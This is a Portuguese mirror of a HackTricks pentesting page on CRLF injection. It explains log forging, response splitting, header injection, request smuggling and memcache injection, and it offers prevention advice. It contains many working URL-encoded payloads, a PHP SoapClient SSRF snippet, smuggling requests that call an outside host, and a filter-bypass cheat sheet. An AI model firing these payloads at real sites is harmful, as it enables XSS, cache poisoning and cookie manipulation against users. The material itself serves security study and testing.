Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-24 13:43:24 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/crlf-0d-0a.md

17 KiB
Raw Blame History

Injeção de CRLF (%0D%0A)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Se você está interessado em carreira de hacking e hackear o impossível - estamos contratando! (fluência em polonês escrito e falado é necessária).

{% embed url="https://www.stmcyber.com/careers" %}

O que é CRLF?

Quando um navegador envia uma solicitação para um servidor web, o servidor web responde com uma resposta contendo tanto os cabeçalhos de resposta HTTP quanto o conteúdo real do site, ou seja, o corpo da resposta. Os cabeçalhos HTTP e a resposta HTML (o conteúdo do site) são separados por uma combinação específica de caracteres especiais, ou seja, um retorno de carro e uma alimentação de linha. Em resumo, eles também são conhecidos como CRLF.

O servidor web usa o CRLF para entender quando um novo cabeçalho HTTP começa e outro termina. O CRLF também pode informar a um aplicativo da web ou usuário que uma nova linha começa em um arquivo ou em um bloco de texto. Os caracteres CRLF são uma mensagem padrão HTTP/1.1, portanto, são usados por qualquer tipo de servidor web, incluindo Apache, Microsoft IIS e todos os outros.
De https://www.netsparker.com/blog/web-security/crlf-http-header/#

O que é a Vulnerabilidade de Injeção de CRLF?

Em um ataque de vulnerabilidade de injeção de CRLF, o invasor insere os caracteres de retorno de carro e alimentação de linha na entrada do usuário para enganar o servidor, o aplicativo da web ou o usuário a pensar que um objeto foi encerrado e outro começou. Como tal, as sequências de CRLF não são caracteres maliciosos, no entanto, podem ser usadas para fins maliciosos, para divisão de resposta HTTP, etc.

Injeção de CRLF em aplicativos da web

Em aplicativos da web, uma injeção de CRLF pode ter impactos graves, dependendo do que o aplicativo faz com itens individuais. Os impactos podem variar desde a divulgação de informações até a execução de código, uma vulnerabilidade de segurança direta do aplicativo da web. Na verdade, um ataque de injeção de CRLF pode ter repercussões muito graves em um aplicativo da web, mesmo que nunca tenha sido listado no Top 10 da OWASP. Por exemplo, também é possível manipular arquivos de log em um painel de administração, conforme explicado no exemplo abaixo.

Um exemplo de Injeção de CRLF em um arquivo de log

Imagine um arquivo de log em um painel de administração com o padrão de fluxo de saída de IP - Hora - Caminho visitado, como abaixo:

123.123.123.123 - 08:15 - /index.php?page=home

Se um invasor conseguir injetar os caracteres CRLF na solicitação HTTP, ele poderá alterar o fluxo de saída e falsificar as entradas de log. Ele pode alterar a resposta da aplicação web para algo como o seguinte:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

O %0d e o %0a são as formas codificadas em URL de CR e LF. Portanto, as entradas de log ficariam assim depois que o invasor inserisse esses caracteres e a aplicação os exibisse:

IP - Hora - Caminho visitado

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Portanto, ao explorar uma vulnerabilidade de injeção CRLF, o invasor pode falsificar entradas no arquivo de log para obscurecer suas próprias ações maliciosas. O invasor está literalmente sequestrando a página e modificando a resposta. Por exemplo, imagine um cenário em que o invasor tem a senha de administrador e executou o parâmetro restrictedaction, que só pode ser usado por um administrador.

O problema é que se o administrador perceber que um IP desconhecido usou o parâmetro restrictedaction, perceberá que algo está errado. No entanto, como agora parece que o comando foi emitido pelo localhost (e, portanto, provavelmente por alguém que tem acesso ao servidor, como um administrador), não parece suspeito.

Toda a parte da consulta que começa com %0d%0a será tratada pelo servidor como um único parâmetro. Depois disso, há outro & com o parâmetro restrictedaction, que será analisado pelo servidor como outro parâmetro. Efetivamente, esta seria a mesma consulta que:

/index.php?page=home&restrictedaction=edit

Injeção de Resposta HTTP

Descrição

Uma vez que o cabeçalho de uma resposta HTTP e seu corpo são separados por caracteres CRLF, um atacante pode tentar injetá-los. Uma combinação de CRLFCRLF informará ao navegador que o cabeçalho termina e o corpo começa. Isso significa que ele agora pode escrever dados dentro do corpo da resposta, onde o código HTML é armazenado. Isso pode levar a uma vulnerabilidade de Cross-site Scripting.

Um exemplo de Injeção de Resposta HTTP levando a XSS

Imagine uma aplicação que define um cabeçalho personalizado, por exemplo:

X-Your-Name: Bob

O valor do cabeçalho é definido por meio de um parâmetro get chamado "name". Se não houver codificação de URL em vigor e o valor for refletido diretamente dentro do cabeçalho, pode ser possível para um invasor inserir a combinação mencionada acima de CRLFCRLF para informar ao navegador que o corpo da solicitação começa. Dessa forma, ele é capaz de inserir dados, como carga útil XSS, por exemplo:

?name=Bob%0d%0a%0d%0a<script>alert(document.domain)</script>

O exemplo acima exibirá uma janela de alerta no contexto do domínio atacado.

Um exemplo de HTTP Response Splitting levando a um redirecionamento

{% embed url="https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62" %}

Navegador para:

/%0d%0aLocation:%20http://myweb.com

E o servidor responde com o cabeçalho:

Location: http://myweb.com

Outro exemplo: (de https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

No caminho do URL

Você pode enviar a carga útil dentro do caminho do URL para controlar a resposta do servidor:

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}

Injeção de Cabeçalho HTTP

Descrição

Ao explorar uma injeção CRLF, um invasor também pode inserir cabeçalhos HTTP que podem ser usados para derrotar mecanismos de segurança, como o filtro XSS do navegador ou a mesma política de origem. Isso permite que o invasor obtenha informações confidenciais, como tokens CSRF. Ele também pode definir cookies que podem ser explorados ao fazer login da vítima na conta do invasor ou explorando vulnerabilidades de cross-site scripting (XSS) de outra forma inexploráveis.

Um exemplo de Injeção de Cabeçalho HTTP para extrair dados sensíveis

Se um invasor puder injetar os cabeçalhos HTTP que ativam o CORS (Compartilhamento de Recursos de Origem Cruzada), ele pode usar o JavaScript para acessar recursos que são protegidos pela política de mesma origem, que impede que sites de origens diferentes acessem uns aos outros.

Nova solicitação HTTP em SSRF

Ao abusar da injeção CRLF, você pode criar uma nova solicitação HTTP e injetá-la.
Um bom exemplo pode ser feito usando o gadget de desserialização SoapClient em PHP. Essa classe é vulnerável a CRLF dentro do parâmetro user_agent, permitindo inserir novos cabeçalhos e conteúdo do corpo. No entanto, você também pode ser capaz de abusar dessa vulnerabilidade para injetar uma nova solicitação HTTP:

$target = 'http://127.0.0.1:9090/test'; 
$post_string = 'variable=post value';
$crlf = array(
    'POST /proxy HTTP/1.1',
    'Host: local.host.htb',
    'Cookie: PHPSESSID=[PHPSESSID]',
    'Content-Type: application/x-www-form-urlencoded',
    'Content-Length: '.(string)strlen($post_string),
    "\r\n",
    $post_string
);

$client = new SoapClient(null,
    array(
        'uri'=>$target,
        'location'=>$target,
        'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
    )
);

#Put a nc listening in port 9090
$client->__soapCall("test", []);

Injeção de Cabeçalho para Request Smuggling

Você pode injetar cabeçalhos essenciais para garantir que o back-end mantenha a conexão aberta após responder à solicitação inicial:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

Em seguida, especifique uma segunda solicitação. Aqui você tem um ataque clássico de injeção de solicitação com cabeçalhos/corpo extras adicionados pelo servidor após a injeção.
Aqui estão duas das muitas opções para exploração entre usuários.

Especificar um prefixo malicioso para envenenar a solicitação do próximo usuário ou um cache da web:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

Ou criando nosso prefixo para combinar com o lixo final e criar uma segunda solicitação completa para acionar a envenenamento da fila de resposta.

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Para obter mais informações sobre essa técnica e problemas potenciais, verifique a fonte original.

Injeção de Memcache

Memcache é um armazenamento de chave-valor que usa um protocolo de texto claro. Mais informações em:

{% content-ref url="../network-services-pentesting/11211-memcache/" %} 11211-memcache {% endcontent-ref %}

Se uma plataforma está recebendo dados de uma solicitação HTTP e usando-os sem sanitização para realizar solicitações a um servidor memcache, um invasor pode abusar desse comportamento para injetar novos comandos memcache.

Por exemplo, na vulnerabilidade original descoberta, as chaves de cache eram usadas para retornar o IP e a porta a que um usuário deveria se conectar, e os invasores foram capazes de injetar comandos memcache que envenenariam o cache para enviar os detalhes das vítimas (incluindo nomes de usuário e senhas) para os servidores do invasor:

Além disso, os pesquisadores também descobriram que poderiam dessincronizar as respostas do memcache para enviar os IPs e portas dos invasores para usuários cujo e-mail o invasor não conhecia:

Para obter todas as informações, leia o artigo original****

Impactos da Vulnerabilidade de Injeção de CRLF

O impacto das injeções de CRLF varia e inclui todos os impactos do Cross-site Scripting à divulgação de informações. Também pode desativar certas restrições de segurança, como filtros XSS e a Política de Mesma Origem nos navegadores da vítima, deixando-os suscetíveis a ataques maliciosos.

Como Prevenir Injeções de CRLF / Cabeçalho HTTP em Aplicações Web

A melhor técnica de prevenção é não usar a entrada do usuário diretamente nos cabeçalhos de resposta. Se isso não for possível, você deve sempre usar uma função para codificar os caracteres especiais CRLF. Outra boa prática de segurança de aplicativos da web é atualizar sua linguagem de programação para uma versão que não permita CR e LF serem injetados em funções que definem cabeçalhos HTTP.

CHEATSHEET

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2 
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Ferramenta

{% embed url="https://github.com/dwisiswant0/crlfuzz" %}

Lista de Detecção de Brute-Force

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt" %}

Referências

Se você está interessado em carreira de hacking e hackear o inquebrável - estamos contratando! (fluência em polonês escrita e falada é necessária).

{% embed url="https://www.stmcyber.com/careers" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥